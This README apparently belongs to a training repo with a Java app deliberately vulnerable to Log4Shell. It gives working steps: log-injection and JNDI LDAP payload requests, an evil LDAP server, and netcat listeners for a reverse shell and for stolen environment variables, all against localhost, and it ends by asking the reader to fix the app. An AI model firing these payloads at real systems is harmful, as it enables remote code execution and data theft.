Exemple d'application java vulnérable à l'attaque Log4Shell.
Le repo contient :
- Une application Java DemoApplication vulnérable (plus particulièrement la classe HelloController.java)
- Des fichiers (
evil/ldap/) permettant d'attaquer l'application DemoApplication :- marshalsec*.jar : permet de simuler un serveur LDAP qui sera utilisé pour injecter le code malveillant dans l'application
- plusieurs classes de code malveillant (à compiler), permettant chacune une attaque différente :
- OpenKeyPassExploit.java : attaque permettant de lancer l'application OpenKeyPass (il faut donc qu'elle soit installée sur le poste)
- ReverseShellExploit.java : attaque permettant de lancer un reverse shell
- StealEnvUserNameExploit.java : attaque permettant de récupérer les variables d'environnement de l'utilisateur
- server.py : serveur python multi-threads permettant de lancer un serveur LDAP (Marshalsec) ainsi qu'un serveur web (pour héberger les classes malveillantes : OpenKeyPassExploit, ReverseShellExploit ou StealEnvUserNameExploit)
- Un serveur python receiver/server.py permettant de recevoir les informations sur le port 8001 (par exemple pour l'attaque StealEnvUserNameExploit), mais peut être remplacé par une commande netcat.
Testé avec Java 17.
- Run
./gradlew bootRun- Request
curl http://localhost:8080/\?name\=Frodoncurl http://localhost:8080/\?name\=Marty%0d%0a2023-09-08%2010%3A40%3A01.108%20DEBUG%202175773%20---%20%5Bnio-8080-exec-1%5D%20n.e.d.HelloController%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3A%20You%20have%20been%20pwed%0ADate lookup ${date:yyyyMMdd-HHmmss}:
curl http://localhost:8080/\?name\=%24%7Bdate%3AyyyyMMdd-HHmmss%7DEnv lookup ${env:USER}:
curl http://localhost:8080/\?name\=%24%7Benv%3AUSER%7D- Run the evil ldap server
javac evil/ldap/OpenKeyPassExploit.java
python evil/ldap/server.py OpenKeyPassExploit- JNDI LDAP lookup
curl http://localhost:8080/\?name\=%24%7Bjndi%3Aldap%3A%2F%2Flocalhost%3A1389%2FanyString%7D- Run the evil ldap & receiver server
javac evil/ldap/StealEnvUserNameExploit.java
python evil/ldap/server.py StealEnvUserNameExploit
python evil/receiver/server.py # ou : nc -lv 8001- JNDI LDAP lookup
curl http://localhost:8080/\?name\=%24%7Bjndi%3Aldap%3A%2F%2Flocalhost%3A1389%2FanyString%7D- Run the evil ldap
javac evil/ldap/ReverseShellExploit.java
python evil/ldap/server.py ReverseShellExploit- Listening for incoming (evil)
nc -lv 9001- JNDI LDAP lookup
curl http://localhost:8080/\?name\=%24%7Bjndi%3Aldap%3A%2F%2Flocalhost%3A1389%2FanyString%7DTry to fix this app! Don't disable JNDI Lookup, this could be usefull.